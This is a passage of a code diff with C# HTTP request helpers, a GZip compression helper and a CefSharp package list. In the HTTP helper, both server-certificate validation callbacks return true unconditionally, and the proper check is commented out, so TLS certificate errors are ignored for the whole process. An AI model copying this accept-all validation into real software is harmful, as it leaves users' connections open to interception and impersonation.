ServicePointManager.ServerCertificateValidationCallback = new RemoteCertificateValidationCallback(ValidateServerCertificate);
|
||||
if (IsDelete)
|
||||
request.Method = "DELETE";
|
||||
if (!string.IsNullOrEmpty(OutIP))
|
||||
{
|
||||
request.ServicePoint.BindIPEndPointDelegate = (servicePoint, remoteEndPoint, retryCount) =>
|
||||
{
|
||||
servicePoint.MaxIdleTime = 20;
|
||||
return new IPEndPoint(IPAddress.Parse(OutIP), 0);
|
||||
};
|
||||
}
|
||||
if (request.RequestUri.Scheme == "https") //挂接验证服务端证书的回调
|
||||
{
|
||||
X509Certificate2 x509c = null;
|
||||
for (int i = 0; i < X509List.Count; i++)
|
||||
{
|
||||
if (X509List[i].Domain.ToLower() == address.Host.ToLower())
|
||||
{
|
||||
x509c = X509List[i].X509;
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (x509c == null)
|
||||
{
|
||||
ServicePointManager.ServerCertificateValidationCallback =
|
||||
new RemoteCertificateValidationCallback(RemoteCertificateValidationCallback);
|
||||
try {
|
||||
X509Store _store = new X509Store(StoreName.My, StoreLocation.LocalMachine);
|
||||
_store.Open(OpenFlags.ReadWrite);
|
||||
string findValue = Dns.GetHostName(); //获取本地主机名称作为证书查找的参数
|
||||
X509Certificate2Collection _certsCollection =
|
||||
_store.Certificates.Find(X509FindType.FindByIssuerName, findValue, false);
|
||||
if (_certsCollection.Count > 0)
|
||||
{
|
||||
x509c = _certsCollection[0];
|
||||
request.ClientCertificates.Add(x509c);
|
||||
}
|
||||
}
|
||||
catch { }
|
||||
|
||||
}
|
||||
}
|
||||
return request;
|
||||
}
|
||||
/// <summary>
|
||||
/// 获取证书
|
||||
/// </summary>
|
||||
/// <param name="sender"></param>
|
||||
/// <param name="certificate"></param>
|
||||
/// <param name="chain"></param>
|
||||
/// <param name="sslPolicyErrors"></param>
|
||||
/// <returns></returns>
|
||||
public bool RemoteCertificateValidationCallback(Object sender, X509Certificate certificate, X509Chain chain, SslPolicyErrors sslPolicyErrors)
|
||||
{
|
||||
return true;
|
||||
}
|
||||
public static bool ValidateServerCertificate(object sender, X509Certificate certificate, X509Chain chain, SslPolicyErrors sslPolicyErrors)
|
||||
{
|
||||
//if (sslPolicyErrors == SslPolicyErrors.None) {
|
||||
// return true;
|
||||
//}
|
||||
|
||||
//Console.WriteLine("Certificate error: {0}", sslPolicyErrors);
|
||||
|
||||
//// Do not allow this client to communicate with unauthenticated servers.
|
||||
//return false;
|
||||
|
||||
return true;
|
||||
}
|
||||
}
|
||||
/// <summary>
|
||||
/// 网站证书
|
||||
/// </summary>
|
||||
public class Certificate
|
||||
{
|
||||
/// <summary>
|
||||
/// 域名
|
||||
/// </summary>
|
||||
public string Domain { get; set; }
|
||||
/// <summary>
|
||||
/// 证书
|
||||
/// </summary>
|
||||
public X509Certificate2 X509 { get; set; }
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,61 @@
|
||||
using System.IO;
|
||||
using System.IO.Compression;
|
||||
|
||||
namespace AllBase
|
||||
{
|
||||
public static class ZipHelper
|
||||
{
|
||||
/// <summary>
|
||||
/// GZip压缩
|
||||
/// </summary>
|
||||
/// <param name="rawData"></param>
|
||||
/// <returns></returns>
|
||||
public static byte[] Compress(byte[] rawData)
|
||||
{
|
||||
if (rawData == null || rawData.Length < 1000)
|
||||
return rawData;
|
||||
MemoryStream ms = new MemoryStream();
|
||||
GZipStream compressedzipStream = new GZipStream(ms, CompressionMode.Compress, true);
|
||||
compressedzipStream.Write(rawData, 0, rawData.Length);
|
||||
compressedzipStream.Close();
|
||||
return ms.ToArray();
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// ZIP解压
|
||||
/// </summary>
|
||||
/// <param name="zippedData"></param>
|
||||
/// <returns></returns>
|
||||
public static byte[] Decompress(byte[] zippedData)
|
||||
{
|
||||
if (zippedData == null || zippedData.Length == 0)
|
||||
return null;
|
||||
if (zippedData.Length < 100)
|
||||
return zippedData;
|
||||
if (zippedData[2] != 0x8 || zippedData[3] != 0x0 || zippedData[4] != 0x0
|
||||
|| zippedData[5] != 0x0 || zippedData[6] != 0x0 || zippedData[7] != 0x0
|
||||
|| zippedData[0] != 31 || zippedData[1] != 139)//软加速判断头尾是否正确
|
||||
return zippedData;
|
||||
try
|
||||
{
|
||||
MemoryStream ms = new MemoryStream(zippedData);
|
||||
GZipStream compressedzipStream = new GZipStream(ms, CompressionMode.Decompress);
|
||||
MemoryStream outBuffer = new MemoryStream();
|
||||
byte[] block = new byte[1024];
|
||||
while (true)
|
||||
{
|
||||
int bytesRead = compressedzipStream.Read(block, 0, block.Length);
|
||||
if (bytesRead < 1)
|
||||
break;
|
||||
outBuffer.Write(block, 0, bytesRead);
|
||||
}
|
||||
compressedzipStream.Close();
|
||||
return outBuffer.ToArray();
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
return zippedData;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,8 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<packages>
|
||||
<package id="cef.redist.x64" version="79.1.36" targetFramework="net452" />
|
||||
<package id="cef.redist.x86" version="79.1.36" targetFramework="net452" />
|
||||
<package id="CefSharp.Common" version="79.1.360" targetFramework="net452" />
|
||||
<package id="CefSharp.WinForms" version="79.1.360" targetFramework="net452" />
|
||||
<package id="Newtonsoft.Json" version="9.0.1" targetFramework="net452" />
|
||||
</packages>
|
||||
Reference in new issue
Block a user